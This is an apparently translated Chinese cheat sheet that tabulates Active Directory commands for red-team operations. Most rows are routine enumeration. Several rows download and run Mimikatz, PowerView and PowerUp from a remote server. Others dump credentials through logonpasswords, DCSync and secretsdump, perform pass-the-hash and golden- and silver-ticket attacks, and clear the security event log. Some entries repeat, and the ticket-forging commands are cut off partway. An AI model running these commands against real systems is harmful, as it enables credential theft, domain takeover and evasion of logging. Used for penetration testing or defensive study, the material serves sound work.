LOLAD和 Exploitation项目提供了全面的 Active Directory 技术、命令和功能集合,可用于本地支持攻击性安全操作和红队演习。这些技术利用 AD 的内置工具进行侦察、特权升级和横向移动等策略。了解这些方法有助于防御者加强 AD 配置并提高监控能力。
下表列出了一些常见的 AD 技术以及每种技术的命令和脚本。您可以根据需要继续添加条目。
技术/命令名称 | 命令 | 类型 | 参考 |
---|---|---|---|
收集域 SID | Get-ADDomain | Select-Object SID |
PowerShell | Microsoft 文档 |
列出域控制器 | nltest /dclist:domain |
CMD | Microsoft 文档 |
枚举域组 | Get-ADGroup -Filter * | Select-Object Name |
PowerShell | Microsoft 文档 |
检查 AD 复制状态 | repadmin /replsummary |
CMD | Microsoft 文档 |
枚举域用户 | Get-ADUser -Filter * | Select-Object Name, SamAccountName |
PowerShell | AD 漏洞利用速查表 |
获取域密码策略 | Get-ADDefaultDomainPasswordPolicy |
PowerShell | PowerShell 红队 |
识别域管理员成员 | Get-ADGroupMember -Identity "Domain Admins" |
PowerShell | Microsoft 文档 |
检查 Kerberos 票证政策 | Get-ADDefaultDomainPasswordPolicy | Select-Object -ExpandProperty KerberosTicketPolicy |
PowerShell | AD 漏洞利用速查表 |
列出所有组织单位 (OU) | Get-ADOrganizationalUnit -Filter * |
PowerShell | Microsoft 文档 |
识别具有委派权限的用户 | Get-ADUser -Filter {TrustedForDelegation -eq $true} |
PowerShell | PowerShell 红队 |
列出 AD 用户的详细信息 | Get-ADUser -Filter * -Properties DisplayName, EmailAddress, LastLogonDate |
PowerShell | Microsoft 文档 |
使用 SPN 识别账户(Kerberoasting) | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
PowerShell | AD 漏洞利用速查表 |
查找管理员账户 | dsquery user -name *admin* |
CMD | HackTricks - AD 方法论 |
列出所有域计算机 | Get-ADComputer -Filter * | Select-Object Name, OperatingSystem |
PowerShell | 中等 - AD 枚举 |
检查组策略对象 (GPO) | Get-GPO -All |
PowerShell | 活动目录专业版 |
列出特权组 | net group "Domain Admins" /domain |
CMD | HackTheBox - AD 渗透测试指南 |
查找具有无约束委派的机器 | Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
PowerShell | PowerShell 红队 |
检查用户帐户锁定状态 | Get-ADUser -Filter * -Properties LockedOut | Where-Object {$_.LockedOut -eq $true} |
PowerShell | Exploit-DB - AD 枚举指南 |
识别过期的密码 | Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired |
PowerShell | 渗透测试一切-AD 枚举 |
查询所有域服务 | nltest /dsgetdc:domain |
CMD | 中级 - 使用 PowerShell 进行 AD 枚举 |
枚举受信任的域 | nltest /trusted_domains |
CMD | GitHub - AD 渗透测试 |
列出广告网站 | Get-ADReplicationSite -Filter * |
PowerShell | Microsoft 文档 |
获取域林信息 | Get-ADForest |
PowerShell | CBT Nuggets - 常见的 AD 命令 |
查找用户的 SID 历史记录(SID 历史记录滥用) | Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory} |
PowerShell | AD 漏洞利用速查表 |
检查域控制器证书 | certutil -dcinfo verify |
CMD | PowerShell 红队 |
导入 PowerView 模块 | powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerView.ps1'); Get-NetUser" |
PowerShell | PowerSploit-PowerView |
导入 PowerUp 模块 | powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerUp.ps1'); Invoke-AllChecks" |
PowerShell | PowerSploit-PowerUp |
使用 PowerView 查找域管理员 | Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember |
PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerView 列出所有域 | Get-NetDomain |
PowerShell (PowerView) | HackTricks - AD 方法论 |
使用 PowerView 枚举域信任 | Get-NetDomainTrust |
PowerShell (PowerView) | 中等 - AD 枚举 |
使用 PowerUp 查找本地权限提升路径 | Invoke-AllChecks |
PowerShell(PowerUp) | PowerSploit-PowerUp |
使用 PowerUp 识别本地管理员 | Get-LocalGroupMember -Group "Administrators" |
PowerShell | PowerSploit-PowerUp |
使用 PowerView 搜索可 Kerberoast 攻击的账户 | Get-NetUser -SPN | Select-Object servicePrincipalName |
PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerView 列出域计算机上的所有会话 | Get-NetSession -ComputerName target-machine |
PowerShell (PowerView) | 渗透测试一切-AD 枚举 |
使用 PowerView 枚举所有域计算机上的本地管理员 | Invoke-EnumerateLocalAdmin -ComputerName target-machine |
PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerUp 查找弱文件权限 | Invoke-CheckLocalAdminAccess |
PowerShell(PowerUp) | PowerSploit-PowerUp |
使用 PowerUp 检查可写注册表路径 | Invoke-AllChecks | Select-Object WritableRegPaths |
PowerShell(PowerUp) | PowerSploit-PowerUp |
使用 SecretsDump 转储域名哈希 | secretsdump.py domain/username:password@target |
Python(Impacket) | Impacket-SecretsDump |
使用 PowerView 检查域策略 | Get-DomainPolicy |
PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerView 识别有趣的 ACL | Find-InterestingDomainAcl |
PowerShell (PowerView) | PowerSploit-PowerView |
枚举域用户 (LDAP) | dsquery user -name * |
CMD | 活动目录专业版 |
获取域名信息 | Get-ADDomain |
PowerShell | Microsoft 文档 |
枚举域林 | Get-ADForest |
PowerShell | Microsoft 文档 |
列出域中的所有用户 | net user /domain |
CMD | 活动目录专业版 |
获取域功能级别 | Get-ADDomain | Select-Object DomainMode |
PowerShell | HackTricks - AD 方法论 |
列出域组 | Get-ADGroup -Filter * | Select-Object Name |
PowerShell | 中等 - AD 枚举 |
查询域中的域控制器 | nltest /dclist:domain |
CMD | Microsoft 文档 |
查找 DC 站点信息 | nltest /dsgetsite |
CMD | Microsoft 文档 |
列出域中的所有计算机 | Get-ADComputer -Filter * |
PowerShell | 活动目录专业版 |
获取林中的所有子网 | Get-ADReplicationSubnet -Filter * |
PowerShell | Microsoft 文档 |
检查 LDAP 服务器状态 | nltest /dsgetdc:domain /ldaponly |
CMD | Microsoft 文档 |
获取 AD DNS 区域信息 | Get-DnsServerZone |
PowerShell | Microsoft 文档 |
检查域组成员身份 | net group "GroupName" /domain |
CMD | CBT Nuggets - AD 命令 |
获取域用户上次登录时间 | Get-ADUser -Filter * -Properties LastLogonDate | Select Name, LastLogonDate |
PowerShell | 中等 - AD 枚举 |
列出所有服务帐户 | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select Name, ServicePrincipalName |
PowerShell | 渗透测试一切-AD 枚举 |
获取域的密码策略 | Get-ADDefaultDomainPasswordPolicy |
PowerShell | 活动目录专业版 |
列出域计算机上的打开文件共享 | net view \\target-machine |
CMD | Exploit-DB-AD 枚举 |
查找 Active Directory 站点 | Get-ADReplicationSite -Filter * |
PowerShell | Microsoft 文档 |
列出组织单位 (OU) | Get-ADOrganizationalUnit -Filter * |
PowerShell | Microsoft 文档 |
检查计算机的组策略 | gpresult /r /scope computer |
CMD | Microsoft 文档 |
查询域中的 DNS 服务器 | Get-DnsServerResourceRecord -ZoneName "domain.local" |
PowerShell | Microsoft 文档 |
枚举全局目录服务器 | nltest /dsgetdc:/gc |
CMD | Microsoft 文档 |
获取域密码过期策略 | net accounts /domain |
CMD | HackTheBox - AD 渗透测试指南 |
获取域控制器 | Get-ADDomainController -Filter * |
PowerShell | Microsoft 文档 |
枚举所有组织单位 (OU) | Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName |
PowerShell | Microsoft 文档 |
列出特定组中的用户 | Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName |
PowerShell | AD 漏洞利用速查表 |
检查所有用户的上次登录时间 | Get-ADUser -Filter * -Properties LastLogonDate | Where-Object {$_.LastLogonDate -ne $null} | Select-Object Name, LastLogonDate |
PowerShell | 活动目录专业版 |
列出 Active Directory 站点 | Get-ADReplicationSite -Filter * |
PowerShell | Microsoft 文档 |
在计算机上查找本地管理员 | net localgroup Administrators |
CMD | Microsoft 文档 |
获取密码过期的域用户 | Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired |
PowerShell | HackTheBox - AD 渗透测试指南 |
查询域林全局目录 | nltest /gc |
CMD | Microsoft 文档 |
检查域管理员帐户状态 | Get-ADUser -Filter {MemberOf -RecursiveMatch 'Domain Admins'} | Select-Object Name, Enabled |
PowerShell | 渗透测试一切-AD 枚举 |
列出域中的特权帐户 | Get-ADUser -Filter {AdminCount -eq 1} | Select-Object Name, SamAccountName |
PowerShell | 中等 - AD 枚举 |
枚举组策略对象 (GPO) | Get-GPO -All | Select-Object DisplayName, GpoStatus |
PowerShell | PowerShell 红队 |
识别具有不受约束委派的计算机 | Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DNSHostName |
PowerShell | PowerSploit-PowerView |
列出所有域组及其成员 | Get-ADGroup -Filter * | ForEach-Object {Get-ADGroupMember -Identity $_.Name | Select Name, SamAccountName} |
PowerShell | AD 漏洞利用速查表 |
查找域密码策略设置 | net accounts /domain |
CMD | 活动目录专业版 |
列出服务主体名称 (SPN) | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object Name, ServicePrincipalName |
PowerShell | HackTricks - AD 方法论 |
枚举 DNS 服务器 | Get-DnsServer | Select-Object Name, IPAddress |
PowerShell | Microsoft 文档 |
列出特定 OU 上的委派管理员 | Get-ACL "OU=TestOU,DC=domain,DC=com" | Format-List |
PowerShell | 中等 - AD 枚举 |
识别过期帐户 | Search-ADAccount -AccountExpired | Select-Object Name, Enabled |
PowerShell | AD 漏洞利用速查表 |
检查域控制器同步状态 | repadmin /showrepl |
CMD | Microsoft 文档 |
查找启用了 LAPS 的计算机 | Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=com" |
PowerShell | Microsoft 文档 |
查看所有复制子网 | Get-ADReplicationSubnet -Filter * |
PowerShell | Microsoft 文档 |
列出具有高权限的计算机 | Get-ADComputer -Filter {PrimaryGroupID -eq 512} |
PowerShell | 中等 - AD 枚举 |
获取 AD 域站点和子网 | Get-ADReplicationSite | Select-Object Name, SiteObjectGUID |
PowerShell | Microsoft 文档 |
枚举密码策略 | Get-ADFineGrainedPasswordPolicy |
PowerShell | Microsoft 文档 |
查找高价值目标(例如具有 SPN 的管理员) | Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and MemberOf -like "*Domain Admins*"} | Select Name, ServicePrincipalName |
PowerShell | AD 漏洞利用速查表 |
列出所有域组和成员计数 | Get-ADGroup -Filter * | ForEach-Object {Write-Output "$($_.Name): $((Get-ADGroupMember -Identity $_.Name).Count)"} |
PowerShell | 活动目录专业版 |
查找敏感账户委托 | Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object Name, SamAccountName |
PowerShell | HackTricks - AD 方法论 |
枚举域管理员 | Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName, ObjectClass |
PowerShell | AD 漏洞利用速查表 |
检查 Kerberos 预身份验证已禁用的帐户 | Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name, SamAccountName |
PowerShell | Microsoft 文档 |
查找计算机上的所有会话 | quser /server:ComputerName |
CMD | Quser 命令 |
确定用户的所有 GPO 权限 | Get-GPPermission -All -User "UserName" | Select-Object DisplayName, Permission |
PowerShell | Microsoft 文档 |
枚举所有林信任 | Get-ADTrust -Filter * |
PowerShell | Microsoft 文档 |
列出远程计算机上的开放共享 | net view \\ComputerName /all |
CMD | 网络查看命令 |
检查计算机是否为域控制器 | if ((Get-ADComputer -Identity "ComputerName").PrimaryGroupID -eq 516) { "Domain Controller" } |
PowerShell | Microsoft 文档 |
列出特定 OU 的所有成员 | Get-ADUser -SearchBase "OU=Users,DC=domain,DC=com" -Filter * | Select Name, SamAccountName |
PowerShell | 活动目录专业版 |
使用永不过期的密码识别管理员帐户 | Get-ADUser -Filter {PasswordNeverExpires -eq $true -and AdminCount -eq 1} | Select-Object Name |
PowerShell | HackTricks - AD 方法论 |
获取支持 LAPS 的计算机 | Find-AdmPwdExtendedRights -Identity "OU=Computers,DC=domain,DC=com" |
PowerShell(LAPS) | Microsoft 文档 |
检查 Active Directory 复制队列 | repadmin /queue |
CMD | Microsoft 文档 |
列出缓存中的所有 Kerberos 票证 | klist |
CMD | Klist 命令 |
查找密码已过期的用户 | Search-ADAccount -PasswordExpired | Select-Object Name, SamAccountName |
PowerShell | Microsoft 文档 |
列出域中所有已禁用的帐户 | Search-ADAccount -AccountDisabled | Select-Object Name, SamAccountName |
PowerShell | Microsoft 文档 |
列出特定组的权限 | Get-ADGroupMember -Identity "Enterprise Admins" | Select Name, SamAccountName |
PowerShell | Microsoft 文档 |
列出域控制器上的会话 | qwinsta /server:DomainControllerName |
CMD | Qwinsta 命令 |
检查域控制器复制状态 | Get-ADReplicationPartnerMetadata -Target "DC=domain,DC=com" |
PowerShell | Microsoft 文档 |
列出远程系统上的本地管理员 | net localgroup Administrators /domain |
CMD | 网络本地组命令 |
以管理员身份运行 Mimikatz(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords' |
PowerShell(无文件) | Mimikatz 备忘单 |
从内存中转储凭证(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords' |
PowerShell(无文件) | Mimikatz 综合指南 |
提取 Kerberos 票证(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::list /export' |
PowerShell(无文件) | ADSecurity-Mimikatz |
传递哈希攻击(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::pth /user:UserName /domain:domain.local /ntlm:hash /run:powershell.exe' |
PowerShell(无文件) | AkimboCore - Mimikatz |
枚举所有注册表项 | reg query HKLM |
CMD | SS64 - 注册命令 |
检查自动启动程序 | reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run |
CMD | HackTricks - 注册表持久性 |
修改注册表项权限 | reg add HKLM\Software\ExampleKey /v ExampleValue /t REG_SZ /d "ExampleData" /f |
CMD | SS64 - Reg Add 命令 |
导出注册表配置单元 | reg export HKLM\Software\MyKey mykey.reg |
CMD | SS64 - 注册导出命令 |
强制组策略更新 | gpupdate /force |
CMD | SS64 - Gpupdate 命令 |
列出计算机已应用的 GPO | gpresult /R /SCOPE COMPUTER |
CMD | SS64 - Gpresult 命令 |
枚举链接到 OU 的所有 GPO | Get-GPLink -Domain domain.local -Target "OU=ExampleOU,DC=domain,DC=local" |
PowerShell | Microsoft 文档 |
列出域中的所有组策略 | Get-GPO -All |
PowerShell | Microsoft 文档 |
在远程计算机上查找本地管理员 | net localgroup Administrators /domain |
CMD | SS64 - Net Localgroup 命令 |
查看安全事件日志 | Get-EventLog -LogName Security -Newest 100 |
PowerShell | Microsoft 文档 |
清除安全事件日志 | Clear-EventLog -LogName Security |
PowerShell | Microsoft 文档 |
启用远程桌面 (RDP) | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f |
CMD | HackTricks - 启用 RDP |
金票攻击(无文件) |
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-
在会话中加载票证: IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt
|
PowerShell(无文件) | HackTricks-黄金票 |
银票攻击(无文件) |
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:UserName /domain:domain.local /sid:S-1-5-21-
在会话中加载票证: IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt
|
PowerShell(无文件) | ADSecurity-银票 |
传递票证攻击(无文件) |
转储内存中的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::tickets'
使用特定的 Kerberos 票证: IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt
|
PowerShell(无文件) | Mimikatz 备忘单 - 传递票证 |
转储缓存域凭据(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::logonpasswords' (需要提升权限) |
PowerShell(无文件) | Mimikatz 综合指南 |
使用 DCSync (无文件) 转储域凭证 | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.local /user:Administrator' |
PowerShell(无文件) | ADSecurity——DCSync 攻击 |
启用远程桌面 (RDP) | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f |
CMD | HackTricks - 启用 RDP |
检查注册表项的持久性 | reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
CMD | SS64 - 注册命令 |
列出用户权限分配 | Get-GPResultantSetOfPolicy -User domain\username -ReportType Html -Path C:\gporeport.html |
PowerShell | Microsoft 文档 |
导出所有组策略对象 | Backup-GPO -All -Path "C:\GPOBackups" |
PowerShell | Microsoft 文档 |
针对本地帐户的传递哈希攻击 | sekurlsa::pth /user:LocalUser /domain:localhost /ntlm: |
Mimikatz | HackTricks - 传递哈希值 |
查询 Active Directory 复制伙伴 | repadmin /showrepl |
CMD | Microsoft 文档 |
列出所有 Active Directory 站点 | Get-ADReplicationSite -Filter * |
PowerShell | Microsoft 文档 |
识别域管理员组成员 | Get-ADGroupMember -Identity "Domain Admins" |
PowerShell | Microsoft 文档 |